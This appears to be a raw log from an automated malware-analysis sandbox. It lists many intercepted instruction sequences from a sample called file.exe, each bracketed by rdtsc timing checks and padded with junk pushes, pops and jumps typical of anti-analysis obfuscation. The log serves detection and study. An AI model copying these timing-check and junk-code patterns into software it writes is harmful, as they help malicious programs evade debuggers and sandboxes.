Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0DDF second address: 4BE0E31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push ecx 0x0000000e call 00007FD4352B390Bh 0x00000013 pop eax 0x00000014 pop edx 0x00000015 pushfd 0x00000016 jmp 00007FD4352B3916h 0x0000001b add esi, 6E0BFD58h 0x00000021 jmp 00007FD4352B390Bh 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0E31 second address: 4BE0E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0E43 second address: 4BE0E89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4352B3911h 0x00000008 pop esi 0x00000009 mov ecx, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 push ebx 0x00000011 movzx esi, dx 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007FD4352B390Ch 0x0000001d jmp 00007FD4352B3915h 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0E89 second address: 4BE0EC4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD4352B3D90h 0x00000008 adc al, FFFFFFA8h 0x0000000b jmp 00007FD4352B3D8Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD4352B3D90h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0EC4 second address: 4BE0EC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0EC8 second address: 4BE0ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0ECE second address: 4BE0EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B390Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0EDF second address: 4BE0EFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ch, A2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF00F1 second address: 4BF00F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF00F7 second address: 4BF0117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0117 second address: 4BF011D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF011D second address: 4BF013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B3D99h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF013A second address: 4BF0158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0158 second address: 4BF015E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF015E second address: 4BF01C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4352B390Bh 0x00000008 pop eax 0x00000009 call 00007FD4352B3919h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xchg eax, ebp 0x00000013 jmp 00007FD4352B3917h 0x00000018 mov ebp, esp 0x0000001a jmp 00007FD4352B3916h 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF01C1 second address: 4BF01C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF01C5 second address: 4BF01C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF01C9 second address: 4BF01CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10799 second address: 4C1079F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1079F second address: 4C107E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD4352B3D8Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FD4352B3D8Ch 0x0000001b sub eax, 7B804318h 0x00000021 jmp 00007FD4352B3D8Bh 0x00000026 popfd 0x00000027 mov edi, esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107E7 second address: 4C107ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107ED second address: 4C107F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C107F1 second address: 4C10848 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD4352B3919h 0x00000010 or cx, EF66h 0x00000015 jmp 00007FD4352B3911h 0x0000001a popfd 0x0000001b mov ch, 13h 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push ecx 0x00000024 pop edi 0x00000025 call 00007FD4352B3910h 0x0000002a pop esi 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10848 second address: 4C10897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4352B3D8Eh 0x00000009 sbb eax, 7DAF7968h 0x0000000f jmp 00007FD4352B3D8Bh 0x00000014 popfd 0x00000015 mov cx, B35Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ecx 0x0000001d jmp 00007FD4352B3D92h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD4352B3D8Eh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10897 second address: 4C108A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B390Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C108A9 second address: 4C108F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FD4352B3D96h 0x00000011 mov eax, dword ptr [76FB65FCh] 0x00000016 jmp 00007FD4352B3D90h 0x0000001b test eax, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD4352B3D8Ah 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C108F6 second address: 4C108FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C108FA second address: 4C10900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10900 second address: 4C10906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10906 second address: 4C1094B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FD4A75D6DC8h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007FD4352B3D8Ch 0x0000001a or cx, 4078h 0x0000001f jmp 00007FD4352B3D8Bh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1094B second address: 4C10976 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 mov ecx, eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD4352B390Ah 0x00000013 or si, 5AD8h 0x00000018 jmp 00007FD4352B390Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10976 second address: 4C109B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov si, 4C25h 0x00000009 popad 0x0000000a xor eax, dword ptr [ebp+08h] 0x0000000d jmp 00007FD4352B3D91h 0x00000012 and ecx, 1Fh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pop ecx 0x00000019 pop edi 0x0000001a mov ax, 438Bh 0x0000001e popad 0x0000001f ror eax, cl 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD4352B3D8Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C109B2 second address: 4C109E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007FD4352B390Eh 0x0000000f retn 0004h 0x00000012 nop 0x00000013 mov esi, eax 0x00000015 lea eax, dword ptr [ebp-08h] 0x00000018 xor esi, dword ptr [00CB2014h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push eax 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 call 00007FD43925421Fh 0x0000002a push FFFFFFFEh 0x0000002c pushad 0x0000002d mov edi, eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C109E2 second address: 4C109E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C109E6 second address: 4C10A53 instructions: 0x00000000 rdtsc 0x00000002 mov si, 7AC5h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD4352B390Eh 0x00000011 adc ax, A458h 0x00000016 jmp 00007FD4352B390Bh 0x0000001b popfd 0x0000001c pushad 0x0000001d mov di, ax 0x00000020 pushfd 0x00000021 jmp 00007FD4352B3912h 0x00000026 adc ah, FFFFFFB8h 0x00000029 jmp 00007FD4352B390Bh 0x0000002e popfd 0x0000002f popad 0x00000030 popad 0x00000031 ret 0x00000032 nop 0x00000033 push eax 0x00000034 call 00007FD439254279h 0x00000039 mov edi, edi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FD4352B3915h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10A53 second address: 4C10AC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4352B3D97h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e jmp 00007FD4352B3D97h 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007FD4352B3D99h 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD4352B3D98h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10AC2 second address: 4C10AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10AC6 second address: 4C10ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC001A second address: 4BC0020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0020 second address: 4BC0043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD4352B3D8Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0043 second address: 4BC005F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC005F second address: 4BC0063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0063 second address: 4BC0069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0069 second address: 4BC006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC006F second address: 4BC007E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC007E second address: 4BC0082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0082 second address: 4BC0088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0088 second address: 4BC00B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, 29CF61B6h 0x00000013 mov ax, bx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC00B1 second address: 4BC00B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC00B7 second address: 4BC0112 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b jmp 00007FD4352B3D8Eh 0x00000010 xchg eax, ecx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FD4352B3D8Eh 0x00000018 and ah, 00000008h 0x0000001b jmp 00007FD4352B3D8Bh 0x00000020 popfd 0x00000021 mov ebx, ecx 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007FD4352B3D95h 0x0000002a xchg eax, ecx 0x0000002b pushad 0x0000002c mov bl, cl 0x0000002e push eax 0x0000002f push edx 0x00000030 mov si, di 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0112 second address: 4BC015F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD4352B390Bh 0x00000008 adc si, 99AEh 0x0000000d jmp 00007FD4352B3919h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD4352B3918h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC015F second address: 4BC0165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0165 second address: 4BC0187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 0DFEA2B3h 0x00000008 push esi 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD4352B3911h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0187 second address: 4BC0191 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0191 second address: 4BC0203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, cx 0x00000007 popad 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FD4352B3910h 0x0000000f mov ebx, dword ptr [ebp+10h] 0x00000012 pushad 0x00000013 mov al, 93h 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FD4352B3919h 0x0000001c sub esi, 07992CB6h 0x00000022 jmp 00007FD4352B3911h 0x00000027 popfd 0x00000028 mov si, 72A7h 0x0000002c popad 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FD4352B3914h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0203 second address: 4BC0209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0209 second address: 4BC026C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007FD4352B3911h 0x00000010 pushfd 0x00000011 jmp 00007FD4352B3910h 0x00000016 sbb eax, 3EC34C98h 0x0000001c jmp 00007FD4352B390Bh 0x00000021 popfd 0x00000022 pop esi 0x00000023 movsx edi, ax 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b call 00007FD4352B390Dh 0x00000030 pop eax 0x00000031 movsx edx, ax 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC026C second address: 4BC028C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f movzx ecx, bx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC028C second address: 4BC02F7 instructions: 0x00000000 rdtsc 0x00000002 mov bl, 23h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ch, 86h 0x00000008 popad 0x00000009 push ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c movzx eax, bx 0x0000000f popad 0x00000010 mov dx, 5BB8h 0x00000014 popad 0x00000015 mov dword ptr [esp], edi 0x00000018 pushad 0x00000019 mov cx, di 0x0000001c pushfd 0x0000001d jmp 00007FD4352B3919h 0x00000022 or ecx, 2C459656h 0x00000028 jmp 00007FD4352B3911h 0x0000002d popfd 0x0000002e popad 0x0000002f test esi, esi 0x00000031 jmp 00007FD4352B390Eh 0x00000036 je 00007FD4A7621C30h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC02F7 second address: 4BC02FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC02FB second address: 4BC0301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0301 second address: 4BC038C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f pushad 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FD4352B3D99h 0x00000017 add si, 63C6h 0x0000001c jmp 00007FD4352B3D91h 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007FD4352B3D8Eh 0x0000002b add cx, 8C68h 0x00000030 jmp 00007FD4352B3D8Bh 0x00000035 popfd 0x00000036 popad 0x00000037 je 00007FD4A762204Ah 0x0000003d jmp 00007FD4352B3D96h 0x00000042 mov edx, dword ptr [esi+44h] 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC038C second address: 4BC0390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0390 second address: 4BC0394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0394 second address: 4BC039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC039A second address: 4BC040F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, FED1h 0x00000007 jmp 00007FD4352B3D8Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f or edx, dword ptr [ebp+0Ch] 0x00000012 jmp 00007FD4352B3D90h 0x00000017 test edx, 61000000h 0x0000001d pushad 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FD4352B3D8Ch 0x00000025 sbb si, 1388h 0x0000002a jmp 00007FD4352B3D8Bh 0x0000002f popfd 0x00000030 push esi 0x00000031 pop edx 0x00000032 popad 0x00000033 jmp 00007FD4352B3D94h 0x00000038 popad 0x00000039 jne 00007FD4A762200Bh 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC040F second address: 4BC0413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0413 second address: 4BC0417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0417 second address: 4BC041D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB08D3 second address: 4BB08FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4352B3D95h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB08FA second address: 4BB0921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4352B3917h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0921 second address: 4BB0925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0925 second address: 4BB092B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
